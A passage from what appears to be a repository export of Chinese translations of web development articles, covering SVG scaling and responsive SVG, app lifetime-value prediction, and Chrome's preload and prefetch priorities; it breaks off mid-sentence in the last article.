`slice`。\n\n\n就算是对齐部分也有一个对应的 CSS 属性： `background-position`。默认的 `background-position`值是`0 0`，意思是 “top left”。就像 `xMinYMin` 一样。如果你把它改成 `50% 100%`，那就像 `xMidYMax`！\n\n**Fig 6.6** 这些例子让联系更清晰。\n\n`preserveAspectRatio` 值 和 CSS 属性\n\n\n| | |\n| :-: | :-: |\n| `preserveAspectRatio= \"xMinYmax meet\"` | `background-position: 0 100%; background-size: contain;` |\n| `preserveAspectRatio= \"xMidYMid meet\"` | `background-position: 50% 50%; background-size: contain;` |\n| `preserveAspectRatio= \"xMinYmax slice\"` | `background-position: 100% 0; background-size: cover;` |\n| `preserveAspectRatio= \"xMidYMid slice\"` | `background-position: 50% 100%; background-size: cover;` |\n\nFig 6.6: `preserveAspectRatio` 的值和与之相似的 CSS 属性\n\n记住：他们在代码不是通用的；只是概念上相关。\n\n如果你不想考虑纵横比，让 SVG 随视图大小缩放，就像光栅图像那样呢？把 `preserveAspectRatio` 属性设置为 ‘none’ 吧(**Fig 6.7**)!\n\n```\n<svg preserveAspectRatio=\"none\" viewBox=\"0 0 100 100\">\n```\n\n[CodePen Embed](//codepen.io/chriscoyier/embed/yevpvj?height=265&amp;theme-id=0&amp;slug-hash=yevpvj&amp;default-tab=html%2Cresult&amp;user=chriscoyier&amp;embed-version=2\")\n\nFig 6.7: `preserveAspectRatio=\"none\"` 的例子。\n\nAmelia Bellamy-Royds 写了篇[关于缩放 SVG 的全面的文章](http://bkaprt.com/psvg/06-03/)，在文章中她叙述了 `svg`  实际上可以包含其他的有不同纵横比和行为的 `svg`，所以你可以让一张图部分缩放，其余部分正常显示；这对于 `svg` 来说又酷又独特。\n\n### 画板尺寸缩放的方法\n\n当你在编辑软件中画 SVG，软件可能提供给你某种画板来在上面画。这不是个技术的 SVG 术语；它实际上是 `viewBox` 的一个视觉上的比喻。\n\n假设你在为一个网站设计一整套图标。一种方法是让所有的画板接触图标的每个边(**Fig 6.8**)。\n![Adobe Illustrator graphics cropped to their edges](http://alistapart.com/d/practical-svg/Fig6.8cropped.jpg)\n\nFig 6.8: 在 Adobe Illustrator 中图片接触到边缘的例子。\n\n这儿有个快捷的小技巧来在 Illustrator 里裁剪画板：选择画板工具，然后在 Presets 菜单选 “Fit to Artwork Bounds”(**Fig 6.9**).\n\n![Cropped view of Adobe Illustrator menu option for resizing an artboard to the edges of a graphic](http://alistapart.com/d/practical-svg/Fig6.9fit-to-bounds.jpg)\n\nFig 6.9: 在 Adobe Illustrator 里菜单选项可以根据图片的边缘重新定义画板大小。\n\n这个技巧的优点是对齐(**Fig 6.10**)。如果你想把这些图标的任一边和任何其他的东西对齐，实现起来很简单。并不存在你需要应对的魔幻之处或需要不断调整的定位样式。\n\n```\n.icon.nudge {\n  position: relative;\n  right: -2px; /* UGHCKKADKDKJ */\n}\n```\n\n![Icons aligned to corners of graphics](http://alistapart.com/d/practical-svg/Fig6.10corner-positioning.jpg)\n\nFig 6.10: 图标无间隙地和边缘对齐。\n\n这个裁剪技术的缺点是相对的尺寸。想象下你采取一般的方法来定义图标的宽度和高度，像这样：\n```\n.icon {\n  width: 1em;\n  height: 1em;\n}\n```\n\n一个又高又细长的图标将会缩小来适应那个区域，并且可能显得很小。或是你可能在尝试有意把一个小的星星形状作为一个图标，期待着星星有一个正方形的纵横比，因此会放大来填充区域，然而结果比你想要的还大。\n\n这有个例子关于两个图标的尺寸都设置成正方形(**Fig 6.11**)。“expand” 图标看上去很正常，因为它有一个正方形的纵横比来调整。但是 “zap it” 图标有一个高高窄窄的纵横比，所以它看上去很小，像在同样的正方形区域上浮动。\n![Two button samples; one example has a nicely-balanced scale of icon to text, the other has an icon that is too small for the space and size of text](http://alistapart.com/d/practical-svg/Fig6.11AwkwardIconSizes.jpg)\n\nFig 6.11: 两个图标在一个按钮中尺寸是同样的正方形区域。上面的一个响应的很好，但是底部的那个很奇怪的在区域中浮动。\n\n另一个方法是制作尺寸一致的画板(**Fig 6.12**)：\n![Several similarly-sized graphics](http://alistapart.com/d/practical-svg/Fig6.12same-size.jpg)\n\nFig 6.12: Illustrator 里的画板大小相同的图形的例子。\n\n优点和缺点恰恰是可逆的。你可能遇到对齐的问题，因为并不是所有图标的边会碰到 `viewBox` 的边，这是沮丧的并且有时候可能需要调整(**Fig 6.13**)。\n\n![Graphics with icons sized to be comparable to one another](http://alistapart.com/d/practical-svg/6.13RelativeSizing.jpg)\n\nFig 6.13: 你可以调整图标的相对大小，但那样会让对齐更困难。\n\n但是你不会有相对的尺寸问题，因为对于所有的画板来说 `viewBox` 是一样的。如果任何一个图标看上去太大或太小，你可以调整画板来使其符合这一系列。\n\n既然我们在了解尺寸，现在是时候来研究 SVG 是如何适配响应式设计的弹性世界的。\n\n## 响应式的 SVG\n\n响应式设计的一个特点是流式布局。内容－包括图片－被设计来适应它的容器和屏幕。如果响应式设计对你来说是陌生的，关于这个主题 [Ethan Marcotte 在 2010 年的重要的文章](http://alistapart.com/article/responsive-web-design)是一个很好的选择来开始了解响应式设计。SVG 与响应式设计很适合。\n\n* 响应式设计是弹性的。SVG 也是！它在每个尺寸都呈现的很好。\n*响应式设计是一门关注一个网站在任一浏览器中如何呈现和如何表现的哲学。相对小的 SVG 文件和像一个 SVG 图标系统的性能优先的策略就是响应式设计的一部分。\n\n但可能 SVG 与响应式设计最显著的联系是对 CSS 媒体查询的可能性。媒体查询基于浏览器窗口的高度或宽度等因素用 CSS 来移动，隐藏或显示元素。这些元素能是任何东西：侧边栏，导航栏，广告和你有的任何东西。也可能是 SVG 元素。\n\n想象一下，有一个图标能基于可用空间的大小展现不同层次的细节。这就是当 Joe Harrison 设计一个真正简洁的[用著名图标设计的 demo](http://bkaprt.com/psvg/06-05/)时想到的东西, (**Fig 6.14**).\n![Modified versions of the Disney logo, progressing to greater and greater simplification](http://alistapart.com/d/practical-svg/Fig6.14responsive-logos.jpg)\n\nFig 6.14: Joe Harrison 的不同尺寸迪斯尼图标的 demo。\n\n在网站上，我们经常能用其他的图片来替换图片。这里吸引我们的是我们并没有_替换_图片；它们都是_同一张_图片。或至少它们能是同一张。签名 “D” 和在最复杂的图表版本中使用的就是同样的 “D”。\n\n在 CSS 中通俗的写法。\n\n我们像这样组织 SVG：\n```\n<svg class=\"disney-logo\">\n <g class=\"magic-castle\">\n    <!-- paths, etc -->\n  </g>\n  <g class=\"walt\">\n    <!-- paths, etc -->\n  </g>\n  <g class=\"disney\">\n    <path class=\"d\" />\n    <!-- paths, etc -->\n  </g>\n</svg>\n```\n\n顺便说一下，在 Illustrator 中这很容易实现(**Fig 6.15**)。在这里你写的组件和名称在以 SVG 输出时变成 ID，你能使用这些 ID 来定义样式。然而，我个人更喜欢使用类因为它们不是唯一的（所以你不会突然遇到在页面上有多个同样的 ID）并且类有一个更低更好管理的 CSS specificity 特性权重。在一个代码编辑器里非常简单地就能用查找替换操作把 ID 变成类。\n![Adobe Illustrator interface showing vector paths and layers for Walt Disney logo](http://alistapart.com/d/practical-svg/Fig6.15NamedLayers.jpg)\n\nFig 6.15: 在 Adobe Illustrator 中命名的层和形状。\n\n对应的CSS像这样：\n```\n@media (max-width: 1000px) {\n  .magic-castle {\n    display: none;\n  }\n}\n@media (max-width: 800px) {\n  .walt {\n    display: none;\n  }\n}\n@media (max-width: 600px) {\n  .disney > *:not(.d) {\n    display: none;\n  }\n}\n```\n\n注意，有一个人为的例子在不同的断点隐藏部分图片，但是这就是你将要做的，同时可能有一些尺寸调整。你能用 CSS 做的任何事情都列在这儿了。可能某些动画在某些断点是合适的，但是在其他并不合适。可能（译者注：求助攻）。可能你改变一些填充颜色来简化相邻的外形。\n\n事情会更有趣！取决于 SVG 的使用方式，这些媒体查询实际上可能是不同的。作为 `img`, `iframe`, 或 `object` 使用的 SVG 有它自己的视图。这就意味着_嵌入在内的_ CSS 以此为基础来响应媒体查询，而不是整个的浏览器窗口视图。这就意味着你是基于图片的宽度来声明以图片为基础的媒体查询，而不是整个页面的宽度。\n\n这是个非常吸引人的想法：一个元素基于它自己的属性安排自己，而不是页面。我是这么宽么？对。我是这么高么？也是。_那样， SVG 响应它所在的情景而不是它所在的任意文档。\n\n正如我写的，这在 CSS 中称作“元素查询”，但是实际上在正常的 HTML/CSS 中并不存在。又一次地，SVG 具有超前意识。\n\n## 来看看动画\n\n谈到 SVG 擅长的事情，让我们接下来看看动画。至今为止我们一直依赖的一切已经为我们准备好了。紧紧抓住吧！\n\n## [唯一的常量变了：与 Ethan Marcotte 的一场问答](http://alistapart.com/blog/post/responsive-web-design-second-ed)\n\n## [框架](http://alistapart.com/article/frameworks)\n\n在这个摘录中，Ethan Marcotte 检查框架来思考响应式设计的规则并把它们应用在我们的工作中。\n\n"
  },
  {
    "path": "TODO/predicting-your-apps-monetization-future.md",
    "content": "> * 原文地址：[Predicting your app’s monetization future](https://medium.com/googleplaydev/predicting-your-apps-monetization-future-27180e82ae34)\n> * 原文作者：[Ignacio Monereo](https://medium.com/@ignacio.monereo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/predicting-your-apps-monetization-future.md](https://github.com/xitu/gold-miner/blob/master/TODO/predicting-your-apps-monetization-future.md)\n> * 译者：[PTHFLY](https://github.com/pthtc)\n> * 校对者：[Wangalan30](https://github.com/Wangalan30)、[realYukiko](https://github.com/realYukiko)\n\n# 一文教你预测 app 未来的变现情况\n\n## 预测分析法介绍以及用户生命周期价值计算\n\n我们都想要一个魔幻水晶球，可以揭示我们的 app 在未来的表现：会吸引多少用户以及会产生多少收入。遗憾的是，并不存在这种水晶球。但是好消息是，我们有技术手段可以使你有效的洞察你的APP未来的表现，同时帮助你建立一个合理有效的收入策略。\n\n这是我关于探寻**生命周期价值**( **LTV, lifetime value** )两篇文章中的第一篇。在这篇文章中，我将会介绍预测分析法，指出一个计算 LTV 的简单公式，并阐述如何获得一个可用作计划的数值。\n\n在[下一篇博文](https://medium.com/googleplaydev/predicting-your-apps-future-65b741999e0e)中，我将会探寻这个公式如何应用于五个时下流行的 app 的变现策略中，同时也会提供一些从开发者那得来的关于如何优化这些变现策略的见解。\n\n### 预测分析法\n\n如果你想了解你的 APP 的未来走势，你可以通过观察从用户那里收集来的数据进行预测。应用各种统计学技术，从这些数据中提取信息，是预测分析法的主要内容。\n\n预测模型被应用到了许多商业领域中，它们可以帮忙解答许多关键性的商业管理问题：明年我们将有多少付费用户？明年的期望交易数额是多少？用户什么时候会从我们的服务中流失？\n\n这些模型在线下被广泛研究。感谢数字革命，在改良的收集、整合和归类用户数据的能力的推动下，我们得以见证它们正在变得越来越普及。\n\n在移动应用的世界，游戏开发者是这些技术的高级用户，他们的使用对他们应用的变现有着积极的影响。\n\n#### 从经验主义到数学模型的方法\n\n预测会有多少用户以及在未来他们的付费情况的方法会非常不同。其中最特别的两种是：\n\n* 基于专业经验或者标杆管理的简单模型。例如一个公司雇佣了外部顾问，根据顾问的市场和行业知识，向他咨询和预测下一年销售情况。\n* 复杂数学模型，像是 Pareto/NBD 模型（可以看 David C. Schmittlein，Donald G. Morrison，和 Richard Colombo 的 [Counting Your Customers: Who Are They and What Will They Do Next?](http://www.jstor.org/stable/2631608?seq=1#page_scan_tab_contents)）。这些模型将多重变量纳入考虑范围，包括近因（最近购买）以及给定时间内的频次或者订单数量，来计算客户复购的可能性。\n\n对于数学建模方法，有一些网上资源可以帮助计算，例如这个由 Bruce G. S. Hardie 在 [Implementing the BG/NBD Model for Customer Base Analysis in Excel](http://www.brucehardie.com/notes/004/)中描述的方法。\n\n#### 分析所需的数据和工具\n\n预测分析技术发展的主要驱动力之一是分析工具使用量的增加。强大的分析工具可以使我们更加高效地收集、整理和整合数据，同时迅速地将它与关键的利益相关者和决策者分享。\n\n一些最重要的 app 特征数据：Some of the most important app metrics are:\n\n* **用户获得数据**: 安装数量，卸载数量和来量渠道。\n* **留存数据**: 用户留存（下载后第1、7、28、90、180和365天）。\n* **变现数据**: 付费用户数量，最近购买，交易频次，购买总量，流失率以及新的重复购买用户。\n\n这些变量的重要性依托于其计算权重和以下这些因素：\n\n* **应用环境**: 不同种类的 app 的激活和使用情况会有巨大的不同。\n* **商业模式**: 根据不同的商业模式选择，某个关键数据会有巨大的影响。比如订阅商业模式通常十分关心订阅者的续期时刻。\n* **使用手段**: 一些方法将会要求某些数据来建立未来预测。例如使用 BG/NBD 要求频次和最近购买数据。\n\n需重点强调的是，一个强大的分析工具，如用于应用内分析的 [Google Analytics for Firebase](https://firebase.google.com/features/analytics) 或是用于变现的 [Google Play Console](https://play.google.com/apps/publish/) ，不仅需要能够准确及时地收集这些信息，同时也要能够快速处理和分享这些信息。这是在如数字生态系统这样的动态环境中迅速做出反应的关键。\n\n#### 背景\n\n预测分析法严重依赖于用户和购买者的历史数据。虽然这是一个好的起点，但是不要忽视可能影响未来预测的外部信息。这可能包括公司发展阶段，科技趋势和宏观经济环境。\n\n尤其是当分析 app 的生命周期价值的时候，根据环境因素，如交易环境和合同责任调整某些关键点，调整一些关键点是很有用的。例如，一个零售 app 可能需要在激活一个月内的购买者和一年内的购买者之间做选择。\n\n有一些不同的框架可以帮助识别这些背景因素。在这之中，我发现 Peter S. Fader and Bruce G. S. Hardie 的文章 [Probability Models for Customer-Base Analysis](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.180.2024&rep=rep1&type=pdf) 中指出的一个框架很有用。\n\nFader 和 Hardie 的模型根据用户是否与公司缔结合同以及交易是连续还是离散的来将用户行为做了区分。来看一个关于这个模型的例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*-tQUKX6mG08lKHaJFscAVQ.png)\n\n左上角的是没有与用户缔结契约关系来形成持续交易流的公司。一个实际的例子是电商应用，消费者反复交易但是又可以随时离开和流失。\n\n在右下方是个刚好相反的例子：公司与用户缔结合约，交易只在特定时间发生。一个实际例子是消费者往往在某个特定的时间点（比如他们找到第一份工作的时候）购买人寿保险单，这份保险单将在保险费的持续时间内保持有效。\n\n### 生命周期价值\n\n最后欢迎的预测分析法标志之一是用户生命周期价值（ LTV ），是最受欢迎的预测分析指标之一，它是用户在一生中对其商业领域经济价值的估算。这个指标在线下十分知名，被广泛应用到了 app 和游戏产业中。\n\n因为提供了每个用户带来的潜在收益估计，LTV 十分有用，因为它可以提供对每个客户潜在收益的解读。相应的，这也可以帮助决定用户获取费用，分析哪个渠道、平台、用户分布是最划算的。\n\n然而，在讨论计算问题之前，有一些常见的 LTV 陷阱需要规避。因此，请不要：\n\n* 将 LTV 作为目标使用并且花费资源来优化和放大它。仅仅把 LTV 当做一个工具，它会随着其他指标（如契约、留存和变现）的增长而提高。\n* 创造过于乐观的 LTV。例如，一个初创公司可能过高地估计了每个用户的收入，结果导致 LTV 膨胀，从而可能要在获取用户上花费更高的成本。\n* 允许用户获取成本（CAC，the Cost of acquiring a customer）超过 LTV。尽管要考虑的因素（公司的阶段：初创或是成熟；关系类型：是否缔结合约）很多，但一个工业领域的经验法则告诉我们：用户获取成本不能够超过应用的净 LTV。然而许多公司规定 LTV 与 CAC 的比为3：1（CAC 将永远不会超过净 LTV 的33%）。\n* 将高 LTV 看作是一个竞争优势。在快速变化的行业，比如科技行业，很容易找到一个变现能力很强，LTV 很高但是快速失去市场份额的例子，因为技术被淘汰，用户转移到更新、更有吸引力的应用上去了。\n\n#### 计算 LTV\n\n有几种方法可以计算应用和游戏的 LTV。这些方法根据商业模式的复杂度，可用数据以及精确度要求的不同而不同。\n\n在一开始，让我们使用下面简单的公式：\n\n> LTV (给定阶段的) = 生命周期 x ARPU（每个用户平均收益）\n\n现在，让我们仔细检查下个变量：\n\n**a. LTV 时间长度**\n\n大多数开发者以 180 天，一年，二年或者五年计算 LTV。决定 LTV 时间长度的因素可能包括平均用户生命周期或者基于商业模式的选择。\n\n例如，想象一个使用内购模式的开发者，平均一个用户使用周期是15个月。在这种情况下，两年的 LTV 会比一年的更高。然而，一年的 LTV 是更保守的选择因为平均生命周期（15个月）比选择的周期更长（12个月）。\n\n选择 LTV 时间长度需要考虑：\n\n* **商业环境**， 例如，对于某些变现模型（尤其是订阅类）来说，收益可能会更高，而且，如果对变现的激励得当，将在很长的一段时间内持续增长，这一点可以为长期 LTV 正名。举例来讲，电信公司一直遵循传统，在用户获取方面大量投资，甚至会对硬件方面进行补贴，以期待较长的生命周期。\n* **商业模式**， 例如，对于某些变现模式（尤其是订阅）收益可能会更高并且会长期增长如果变现激励很恰当（流失为负），使用长期 LTV 是有道理的。比如电信公司在用户获取上传统地会投资巨大，甚至会补贴硬件，需要超长生命周期。\n* **公司阶段**， 比如早期对比成熟期。因为依靠技术进步或者没有历史数据，早期公司会经常选择更长更乐观的时期来计算 LTV。另一方面，一个技术落伍的成熟公司可能想选择更短的 LTV 计算时间。\n\n**b. 生命周期**\n\n生命周期与激活和留存直接相关。相应的，这两个概念会帮助增加用户留存，增加他们促进变现的可能性。应用开发者通常根据应用留存计算生命周期。\n\n我们可以用一个简单的方法来估算用户滞留，我们把用户在过去的一个月内没有打开过应用的情况称为一个用户在应用内的“流失”时刻。这样，从用户停止使用 APP 起至少一个月的平均流失时长就可以计算出来了。\n\n一个更精准计算生命周期的方法是使用生存曲线模型：一个根据历史使用数据（每个用户或用户群一条曲线）的下降方程。每个部分的整体或者平均留存就可以被计算了，某个时期的方程也可以被解出。\n\n看下面的例子，在计算所有用户的集合之后，一个用户在180天后保持活跃的概率仅仅是 23%。因此，每180用户平均生命周期会是 180 x 23%，将近 41 天。\n\n![](https://cdn-images-1.medium.com/max/800/1*F6OH2IvQnhHXpX5AMVRo7w.png)\n\n这里有个重点需要提示，生命周期总是和 LTV 时间段使用同一单位。例如 180 天的 LTV 会基于 41 天的期望生命周期，而不是月或是年。\n\n**c. ARPU 或者 每个用户的平均收益**\n\n计算 ARPU 的难度会根据商业模式的不同而不同。一个 SaaS 模式会更简单而一个混合模式会更复杂（混合不同的商业模式，比如订阅和广告）。\n\n一个计算 ARPU 的方法将会是将一段时间内的总体收益根据那段时间活跃用户进行分割。例如，平均每日收益 10000 美金被 25000 日活用户分割，ARPU 会是 0.4 美金/天。\n\n我现在可以为这个应用计算 LTV 了。180天内的生命周期为 41 天（ 23% ）并且 ARPU 0.4 美金/天。因此：\n\n**180 天的 LTV = 41 天 x 0.4 美金/天 = 16.4 美金/每用户**\n\n#### 优化 LTV 计算\n\n有几种技术可以与这个简单的 LTV 方程结合，以提升可用性，它们包括：\n\n* **Discount Revenue cash flows**。当生命周期超过一年，通过将通货膨胀速率（r）或者资金成本（比如计算平均资本成本率 —— 衡量平均资本成本）纳入考虑范围来考虑给未来信息流打折。例如，假设生命周期是 n 年，折扣公式表现为下面方式：\n\n> LTV = Revs Year 1 + Revs Year 2 x 1/ (1+ r) + … + Revs Year n x 1 / (1+ r )^(n-1)\n\n* **计算净 LTV**_._ 通过计算每个用户的平均可变利润(VC)并在公式中替换 ARPU，净利润能够被计算出来。为了估计 VC，需要从总收入中扣除总可变成本。可变成本在每个新用户加入 app 时产生（例如分配到每个用户头上的市场费用）。新的公式会像下面这样：\n\n> 净 LTV = 生命周期 x VC\n\n据此:\n\n> VC = 一段时间内的(总收入 — 总可变成本) / 一段时间内的平均用户\n\n还有一件重要的事情是：精明的开发者会通常根据 VC 水平区分用户，并且为不同用户群计算 LTV。 在许多商业活动中通常就是这样，应用开发者会观察到一小群用户会带来最多的收入和利润。\n\n因为可变成本倾向于降低占收入的比例，在用户生命周期中 VC 会经常变化。举个例子，拿一个最近订购了一个软件服务并在使用期间需要更多客服的新用户与一个有经验、不再需要支持客户作比较。\n\n### 结论\n\n预测分析法提供了一个可操作的方法来预测你的应用未来表现：它的用户和收入。在这些预测分析的方法中，生命周期价值（ LTV ）可能是最近在 APP 开发者中大受欢迎的一个指标了。它非常简单并且提供了一个可以应用于获客规划的有用方法。\n\n现在你对 LTV 已经有了一些了解，在[第二篇博文中](https://medium.com/googleplaydev/predicting-your-apps-future-65b741999e0e)我将会检验 LTV 公式如何使用于五个流行应用的变现策略。同时，我也会提供一些从开发者那得来的，关于如何优化这些变现策略的见解。\n\n* * *\n\n#### 你怎么想?\n\n你有关于在优化用户决定方面的问题或者想法吗？在下面评论区继续讨论或者通过井号标签 #AskPlayDev 通知我们，我们会在 [@GooglePlayDev](http://twitter.com/googleplaydev) （我们会定期分享在上面就如何在Google Play成功的话题分享新闻和小贴士）上回复。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/preload-prefetch-and-priorities-in-chrome.md",
    "content": "> * 原文地址：[Preload, Prefetch And Priorities in Chrome](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)\n> * 原文作者：本文已获原作者 [Addy Osmani](https://medium.com/@addyosmani) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia),[vuuihc](https://github.com/vuuihc)\n\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*W4_tAMHlFs6tunMxbXQjFA.png\">\n\n# **Preload，Prefetch 和它们在 Chrome 之中的优先级**\n\n今天我们来深入研究一下 Chrome 的网络协议栈，来更清晰的描述早期网络加载（像 [**\\<link rel=“preload”>**](https://w3c.github.io/preload/) 和 [**\\<link rel=“prefetch”>**](https://w3c.github.io/resource-hints/)）背后的工作原理，让你对其更加了解。\n\n**像[其他文章](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)描述的那样，preload 是声明式的 fetch，可以强制浏览器请求资源，同时不阻塞文档 [onload](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload) 事件。**\n\n**Prefetch 提示浏览器这个资源将来可能需要**，但是把决定是否和什么时间加载这个资源的决定权交给浏览器。\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*PSMeFcC3AXDUmdNf5l19Ug.jpeg\">\n\nPreload 将 load 事件与脚本解析过程解耦，如果你还没有用过它，看看 Yoav Weiss 的文章 [Preload: What is it Good For?](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)。\n\n### Preload 在生产环境的成功案例\n\n在我们深入细节之前，下面是上一年发现的使用 proload 并对加载产生积极影响的案例总结：\n\nHousing.com 在对他们的渐进式 Web 应用程序的脚本转用 proload 看到[**大约缩短了10%的可交互时间**](https://twitter.com/HousingEngg/status/844169796891508737)。\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*fZH0GKzI42x7IgxKfiaddA.png\">\n\nShopify 在转用 [preload 加载字体](https://www.bramstein.com/writing/preload-hints-for-web-fonts.html)后在 Chrome 桌面版获得了 [**50%**（1.2s）](https://twitter.com/ShopifyEng/status/844245243948163072) 的文字渲染优化，这完全解决了他们的文字闪动问题。\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/0*rDnsYXceRwO-xxSZ.\">\n\n左边：使用 preload，右边：不使用 preload（[视频](https://video.twimg.com/tweet_video/C7dcmxaUwAAUhPX.mp4)）\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/1*r2RiRVrghz5iDUnhBX8W1Q.png\">\n\n使用`<link rel=”preload”>` 加载字体。\n\nTreebo，印度最大的旅馆网站之一，在 3G 网络下对其桌面版试验，在对其顶部图片和主要的 Webpack 打包文件使用 preload 之后，在**首屏绘制和可交互延迟分别减少了** [**1s**](https://twitter.com/__lakshya/status/844429211867791361)。\n\n<img src=\"https://cdn-images-1.medium.com/max/2000/1*SKYdHNpGldFFUPZBDZQgSQ.png\">\n\n同样的，在对自己的渐进式 Web 应用程序主要打包文件使用 preload 之后，Flipkart 在路由解析之前 **节省了大量的主线程空闲时间**（在 3G 网络下的低性能手机下）。\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/0*QL0ztXPZ1wUXpRKX.\">\n\n上面：未使用 preload，下面：使用 preload\n\nChrome 数据保护团队在对脚本和 CSS 样式表使用 preload 之后，发现页面首次绘制时间获得[**平均 12%**](https://medium.com/reloading/a-link-rel-preload-analysis-from-the-chrome-data-saver-team-5edf54b08715#.bgj9qkqfr) 的速度提升。\n\n对于 prefetch ，它被广泛使用，在 Google 我们仍用它来获取可以加快 [搜索结果页面](https://plus.google.com/+IlyaGrigorik/posts/ahSpGgohSDo) 的渲染的关键资源。\n\nPreload 在很多大型网站都有实际应用，这点你在接下来的文章里也可以看到，让我们来仔细探讨下网络协议栈实际上是如何对待 preload 和 prefetch 的。\n\n### 什么时候该用 \\<link rel=”preload”> ？ 什么时候又该用 \\<link rel=”prefetch”> ?\n\n**建议：对于当前页面很有必要的资源使用 preload，对于可能在将来的页面中使用的资源使用 prefetch。**\n\npreload 是对浏览器指示预先请求当前页需要的资源（关键的脚本，字体，主要图片）。\n\nprefetch 应用场景稍微又些不同 —— 用户将来可能在其他部分（比如视图或页面）使用到的资源。如果 A 页面发起一个 B 页面的 prefetch 请求，这个资源获取过程和导航请求可能是同步进行的，而如果我们用 preload 的话，页面 A 离开时它会立即停止。\n\n使用 preload 和 prefetch，我们有了对当前页面和将来页面加载关键资源的解决办法。\n\n###  \\<link rel=\"preload\"> 和 \\<link rel=\"prefetch\"> 的缓存行为\n\n[Chrome 有四种缓存](https://calendar.perfplanet.com/2016/a-tale-of-four-caches/): HTTP 缓存，内存缓存，Service Worker 缓存和 Push 缓存。preload 和 prefetch 都被存储在 **HTTP 缓存中**。\n\n当一个资源被 **preload 或者 prefetch** 获取后，它可以从 HTTP 缓存移动至渲染器的内存缓存中。如果资源可以被缓存（比如说存在有效的[cache-control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) 和 max-age），它被存储在 HTTP 缓存中可以被**现在或将来的任务使用**，如果资源不能被缓存在 HTTP 缓存中，作为代替，它被放在内存缓存中直到被使用。\n\n### Chrome 对于 preload 和 prefetch 的网络优先级？\n\n下面是在 Blink 内核的 Chrome 46 及更高版本中不同资源的加载优先级情况（ [Pat Meenan](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit#)）\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/1*BTi3YhvCAYiJYRpjNQft9Q.jpeg\">\n\npreload 用 “as” 或者用 “type” 属性来表示他们请求资源的优先级（比如说 preload 使用 as=\"style\" 属性将获得最高的优先级）。没有 “as” 属性的将被看作异步请求，“Early”意味着在所有未被预加载的图片请求之前被请求（“late”意味着之后）,感谢 Paul Irish 更新这张关于开发者工具以及网络层上各种请求优先级的表。\n\n我们来谈一下这张表。\n\n**脚本根据它们在文件中的位置是否异步、延迟或阻塞获得不同的优先级**：\n\n* 网络在第一个图片资源之前阻塞的脚本在网络优先级中是中级\n* 网络在第一个图片资源之后阻塞的脚本在网络优先级中是低级\n* 异步／延迟／插入的脚本（无论在什么位置）在网络优先级中是很低级\n\n图片（视口可见）将会获得相对于视口不可见图片（低级）的更高的优先级（中级），所以某些程度上 Chrome 将会尽量懒加载这些图片。低优先级的图片在布局完成被视口发现时，将会获得优先级提升（但是注意已经在布局完成后的图片将不会更改优先级）。\n\npreload 使用 “as” 属性加载的资源将会获得与资源 “type” 属性所拥有的**相同的优先级**。比如说，preload as=\"style\" 将会获得比 as=“script” 更高的优先级。这些资源同样会受内容安全策略的影响（比如说，脚本会受到其 “src” 属性的影响）。\n\n不带 “as” 属性的 preload 的优先级将会等同于异步请求。\n\n如果你想了解各种资源加载时的优先级属性，从开发者工具的 Timeline/Performance 区域的 Network 区域都能看到相关信息：\n\n<img  src=\"https://cdn-images-1.medium.com/max/2000/1*5QsDQsYJ4ts-4Tl0_1dZwQ.png\">\n\n在 Network 面板下的“Priority”部分\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/0*26d5UlWhql2NZ0Eg.\">\n\n### 当页面 preload 已经在 Service Worker 缓存及 HTTP 缓存中的资源时会发生什么？\n\n这就要说看情况了，但通常来说，会是比较好的情况 —— 如果资源没有超出 HTTP 缓存时间或者 Service Worker 没有主动重新发起请求，那么浏览器就不会再去请求这个资源了。\n\n如果资源在 HTTP 缓存（ Service Worker 缓存和网络中），那么 preload 将会获得一次缓存命中。\n\n### 这将会浪费用户的带宽吗？\n\n**用“preload”和“prefetch”情况下，如果资源不能被缓存，那么都有可能浪费一部分带宽。**\n\n没有用到的 preload 资源在 Chrome 的 console 里会在 *onload* 事件 3s 后发生警告。\n\n<img src=\"https://cdn-images-1.medium.com/max/1000/0*Um55iV_tEBO3eXEs.\">\n\n原因是你可能为了改善性能使用 preload 来缓存一定的资源，但是如果没有用到，你就做了无用功。在手机上，这相当于浪费了用户的流量，所以明确你要 preload 对象。\n\n### 什么情况会导致二次获取？\n\npreload 和 prefetch 是很简单的工具，你很容易不小心[二次获取](https://bugs.chromium.org/p/chromium/issues/list?can=2&amp;q=preload%20double%20owner%3Ayoav%40yoav.ws)。\n\n不要用 “prefetch” 作为 “preload” 